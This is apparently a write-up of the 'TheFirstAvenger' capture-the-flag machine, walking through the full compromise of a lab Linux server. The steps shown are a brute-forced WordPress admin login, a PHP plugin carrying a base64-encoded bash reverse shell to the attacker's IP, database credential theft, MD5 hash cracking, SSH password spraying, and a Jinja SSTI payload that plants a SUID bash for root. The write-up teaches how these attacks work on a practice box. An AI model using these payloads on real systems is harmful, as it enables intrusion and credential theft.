TheFirstAvenger – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: TheHackersLabs

‘TheHackersLabs’ Avatar


Summary Link to heading

“TheFirstAvenger” is an easy machine from TheHackersLabs platform. The victim machine is running a web server. After listing directories, we find that it is running a Wordpress page. The admin server for this page has weak credentials, which allow us to gain access to Wordpress panel. Once in, we upload a malicious plugin and gain initial access to the victim machine. Inside the victim machine, we are able to get credentials for a MySQL database and get credentials for a user in the system. After re-inspecting the machine we can see that the server was running an internal webpage as root user. This webpage is vulnerable to Server Side Template Injection (SSTI), which allow us to execute commands as a privileged user and take control of the machine.


User Link to heading

Nmap scan only shows 2 ports open: 22 SSH and 80 HTTP:

โฏ sudo nmap -sVC -p22,80 10.20.1.141

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 04:28 -03
Nmap scan report for 10.20.1.141
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a1:96:4a:cb:4a:c2:76:f6:35:61:64:53:31:53:a5:5e (ECDSA)
|_  256 63:00:29:0f:1b:2b:58:7c:aa:6c:28:78:bf:ce:6e:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Bienvenido Cibervengador!
MAC Address: 08:00:27:9B:8E:94 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds

Visiting HTTP site (http://10.20.1.141) in a web browser just shows a simple message:

TheFirstAvenger 1

The site does not show much info. Therefore, I will start searching for directories thtough a Brute Force Directory Listing with Gobuster:

โฏ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.141 -t 55 -x html,php,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.141
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 474]
/.html                (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/wp1                  (Status: 301) [Size: 308] [--> http://10.20.1.141/wp1/]
/.html                (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================

We get a directory: /wp1. Visiting http://10.20.1.141/wp1/ shows a new webpage:

TheFirstAvenger 2

I suspect, based on the directory name, that this site is running with WordPress:

โฏ curl -s -X GET http://10.20.1.141/wp1/ | grep '<meta name="generator"'

<meta name="generator" content="WordPress 6.6.2" />

and it is.

There is a post for admin user:

TheFirstAvenger3

If I visit http://10.20.1.141/wp1/wp-admin/ it redirects to the domain thefirstavenger.thl, so we add this domain to our /etc/hosts file:

โฏ echo '10.20.1.141 thefirstavenger.thl' | sudo tee -a /etc/hosts

Now I can see the /w1/wp-admin admin login panel:

TheFirstAvenger 4

Then, I will apply a scan with WPScan:

โฏ wpscan -e ap,t,tt,u --url 'http://thefirstavenger.thl/wp1/' -t 30
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ยฎ
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://thefirstavenger.thl/wp1/ [10.20.1.141]
[+] Started: Sat Oct 19 04:46:03 2024

<SNIP>

[+] WordPress version 6.6.2 identified (Latest, released on 2024-09-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/index.php/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
 |  - http://thefirstavenger.thl/wp1/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>

<SNIP>

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: Rss Generator (Passive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Oct 19 04:47:30 2024
[+] Requests Done: 3036
[+] Cached Requests: 19
[+] Data Sent: 916.204 KB
[+] Data Received: 1.629 MB
[+] Memory used: 304.676 MB
[+] Elapsed time: 00:01:26

We confirm that we have a user: admin.

I will then perform a Brute Force Password Login with WPScan as admin user:

โฏ wpscan -shell-session-password-attack xmlrpc -t 30 -U admin -P /usr/share/wordlists/rockyou.txt --url 'http://thefirstavenger.thl/wp1/'

<SNIP>
[!] Valid Combinations Found:
 | Username: admin, Password: spongebob

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Oct 19 04:53:26 2024
[+] Requests Done: 260
[+] Cached Requests: 37
[+] Data Sent: 103.614 KB
[+] Data Received: 171.911 KB
[+] Memory used: 280.539 MB
[+] Elapsed time: 00:00:24

We have credentials: admin:spongebob.

We can use these credentials in /wp1/wp-admin panel and we are in:

TheFirstAvenger 5

Now we will upload a custom malicious plugin. For this we can go to Plugins and click on Aรฑadir nuevo plugin (Add new plugin) and then on Subir Plugin:

TheFirstAvenger 6

I will upload a .php file that establishes a connection to my machine. First, encode in base64 a payload:

โฏ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"' | base64 -w0

L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg==

where 10.20.1.110 is my attacker IP address and 443 is the port I will start a listener with netcat.

I will generate a PHP file/plugin that will execute the encoded payload. This fake plugin has the content:

<?php 
 /*
 Plugin Name: Shell Plugin
 Version: 1.0.0
 Author: gunzf0x
 Author URI: wordpress.org
 License: GPL2
 */
shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg=="));
?>

and name it shell.php.

Then, compress it to a .zip file (which I will name gunzf0x-plugin.zip):

โฏ zip gunzf0x-plugin.zip shell.php

updating: shell.php (deflated 13%)

Back to WordPress portal, we click on Browse, select our plugin and click on Instalar ahora (Install now). Apparently it worked:

TheFirstAvenger 7

I click on Activar Plugin and our plugin is there:

TheFirstAvenger 8

I start a listener with netcat on port 443 (as we specified in the payload) and after some time (I did not have to do any clicks) I get a shell as www-data user:

โฏ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.141] 44928
bash: cannot set terminal process group (711): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1/wp-admin$ whoami

whoami
www-data

At /var/www/html there is a wp-config.php file. Reading it shows:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat wp-config.php

<SNIP>
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wordpress' );

/** Database password */
define( 'DB_PASSWORD', '9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
<SNIP>

We have a database password, a user for this database and the database name.

I check which database is running on the machine checking internal ports available:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:7092                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*
LISTEN              0                   511                                          *:80                                          *:*

Port 3306 and 33060 are open, which indicates that this is using MySQL as database.

We can then use these credentials to access to the database:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ mysql -u wordpress -p'9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' -h localhost wordpress

mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3598
Server version: 8.0.39-0ubuntu0.24.04.2 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

There is a top_secret database:

mysql> show databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| top_secret         |
| wordpress          |
+--------------------+
4 rows in set (0.00 sec)

and inside a table we have some users and passwords:

mysql> show tables;

+----------------------+
| Tables_in_top_secret |
+----------------------+
| avengers             |
+----------------------+
1 row in set (0.00 sec)

mysql> select * from avengers;

+----+--------------+------------+----------------------------------+
| id | name         | username   | password                         |
+----+--------------+------------+----------------------------------+
|  1 | Iron Man     | ironman    | cc20f43c8c24dbc0b2539489b113277a |
|  2 | Thor         | thor       | 077b2e2a02ddb89d4d25dd3b37255939 |
|  3 | Hulk         | hulk       | ae2498aaff4ba7890d54ab5c91e3ea60 |
|  4 | Black Widow  | blackwidow | 022e549d06ec8ddecb5d510b048f131d |
|  5 | Hawkeye      | hawkeye    | d74727c034739e29ad1242b643426bc3 |
|  6 | Steve Rogers | steve      | 723a44782520fcdfb57daa4eb2af4be5 |
+----+--------------+------------+----------------------------------+
6 rows in set (0.03 sec)

mysql> select username,password from avengers;

+------------+----------------------------------+
| username   | password                         |
+------------+----------------------------------+
| ironman    | cc20f43c8c24dbc0b2539489b113277a |
| thor       | 077b2e2a02ddb89d4d25dd3b37255939 |
| hulk       | ae2498aaff4ba7890d54ab5c91e3ea60 |
| blackwidow | 022e549d06ec8ddecb5d510b048f131d |
| hawkeye    | d74727c034739e29ad1242b643426bc3 |
| steve      | 723a44782520fcdfb57daa4eb2af4be5 |
+------------+----------------------------------+
6 rows in set (0.00 sec)

I save all the passwords in a file called passwords.txt in my attacker machine.

The only thing is that passwords are not really “passwords”, they are hashes as we can verify with hash-identifier:

โฏ hash-identifier
/usr/share/hash-identifier/hash-id.py:13: SyntaxWarning: invalid escape sequence '\ '
  logo='''   #########################################################################
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: cc20f43c8c24dbc0b2539489b113277a

Possible Hashs:
[+] MD5
<SNIP>

We can then attempt to crack them using JohnTheRipper with rockyou.txt:

โฏ john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
tony123          (?)
hawkeye          (?)
smash123         (?)
thecaptain       (?)
natasha456       (?)
thorhammer       (?)
6g 0:00:00:00 DONE (2024-10-19 05:56) 15.78g/s 8511Kp/s 8511Kc/s 15661KC/s thorin22..thoodles1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We get 6 passwords. I save them all in a new file named found_passwords.txt.

We can see that there is a user named steve in the victim machine:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:Steve Rogers:/home/steve:/bin/bash

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ls /home

steve

So I check if any of these passwords works to log with SSH as steve user with NetExec:

โฏ nxc ssh 10.20.1.141 -u 'steve' -p found_passwords.txt

SSH         10.20.1.141     22     10.20.1.141      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.20.1.141     22     10.20.1.141      [-] steve:tony123
SSH         10.20.1.141     22     10.20.1.141      [-] steve:hawkeye
SSH         10.20.1.141     22     10.20.1.141      [-] steve:smash123
SSH         10.20.1.141     22     10.20.1.141      [+] steve:thecaptain  Linux - Shell access!

We get credentials: steve:thecaptain.

We can then connect as this user through SSH:

โฏ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no steve@10.20.1.141

<SNIP>
                         โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
                        โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
                        โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
                        โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•  โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
                        โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
                         โ•šโ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•

โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•
โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•  โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•  โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘
 โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
  โ•šโ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•




steve@TheHackersLabs-Thefirstavenger:~$ whoami

steve

We can read the user’s flag at this user’s home directory.


Root Link to heading

Analyzing again the internal ports open I note that port 7092 was running:

steve@TheHackersLabs-Thefirstavenger:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:7092                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*
LISTEN              0                   511                                          *:80 

Additionally, checking processes being executed by root user shows there is a server.py file running located at /opt/app:

steve@TheHackersLabs-Thefirstavenger:~$ ps aux | grep root

root           1  0.0  1.3  21972 13056 ?        Ss   07:19   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    07:19   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    07:19   0:00 [pool_workqueue_release]
<SNIP>
root         650  0.0  1.8 112696 18264 ?        Ss   07:20   0:01 /usr/bin/python3 /opt/app/server.py
<SNIP>
root       15607  0.0  0.0      0     0 ?        I    09:09   0:00 [kworker/0:2]
root       15608  0.0  0.0      0     0 ?        I    09:09   0:00 [kworker/u2:3]
steve      15613  0.0  0.2   3956  2048 pts/1    S+   09:09   0:00 grep root

I check if the service running on port 7092 just using cURL against it:

steve@TheHackersLabs-Thefirstavenger:~$ curl -s 127.0.0.1:7092

    <!doctype html>
    <html>
    <head>
        <title>Network toolkit</title>
        <style>
<SNIP>

It shows HTML content, therefore I assume this is a webpage.

To gain access to this internal port I establish a Local Port Forwarding using steve SSH access. For this we close our current SSH session and log in again, but this time running:

โฏ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no -L 7092:127.0.0.1:7092 steve@10.20.1.141

We can check if the tunnel has worked if we run in another terminal in our attacker machine:

โฏ lsof -i:7092

COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     66084 gunzf0x    4u  IPv6 164448      0t0  TCP localhost:7092 (LISTEN)
ssh     66084 gunzf0x    5u  IPv4 164449      0t0  TCP localhost:7092 (LISTEN)

Then, I open Firefox browser and visit http://127.0.0.1:7092. We can see a page that executes ping:

TheFirstAvenger 9

If I start a listener with tcpdump for ICMP traces and pass my IP address in the webpage I get a ping as expected:

TheFirstAvenger 10

and in my attacker machine I get:

โฏ sudo tcpdump -ni eth0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:18:43.421336 IP 10.20.1.141 > 10.20.1.110: ICMP echo request, id 15682, seq 1, length 64
06:18:43.421365 IP 10.20.1.110 > 10.20.1.141: ICMP echo reply, id 15682, seq 1, length 64

So it just sends a ping to the specified IP address, as expected.

After testing some things, I note that any text that I put is then reflected in the output. If we put {{9*9}} the text is replaced by 81 after clicking on Ejecutar. So this could be vulnerable to Server Side Template Injection (SSTI). Also, based on PayloadAllTheThings SSTI payloads for Jinga, if we pass the payload {% csrf_token %} it should crash the server. Thing that happens:

TheFirstAvenger 11

Since we confirm that we are running Jinga, I now pass the payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

and in the webpage I get:

TheFirstAvenger 12

Then, I will pass the payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x').read() }}

that contains the payload:

cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x

This command creates a copy of /bin/bash binary and, to that file, assigns it SUID permissions.

I pass the payload and click on Ejecutar. Once done, If I check /tmp directory in the victim machine our malicious file is there:

steve@TheHackersLabs-Thefirstavenger:~$ ls -la /tmp
total 2304
drwxrwxrwt 11 root  root     4096 Oct 19 09:36 .
drwxr-xr-x 23 root  root     4096 Oct  7 16:13 ..
<SNIP>
drwxrwxrwt  2 root  root     4096 Oct 19 07:20 .font-unix
-rwsr-xr-x  1 root  root  1446024 Oct 19 09:36 gunzf0x
<SNIP>

This file has -rwsr-xr-x permissions (4755), so we can run it as the owner using -p flag with this binary:

steve@TheHackersLabs-Thefirstavenger:~$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami

root

We can read the root flag at /root directory. GG.

~Happy Hacking.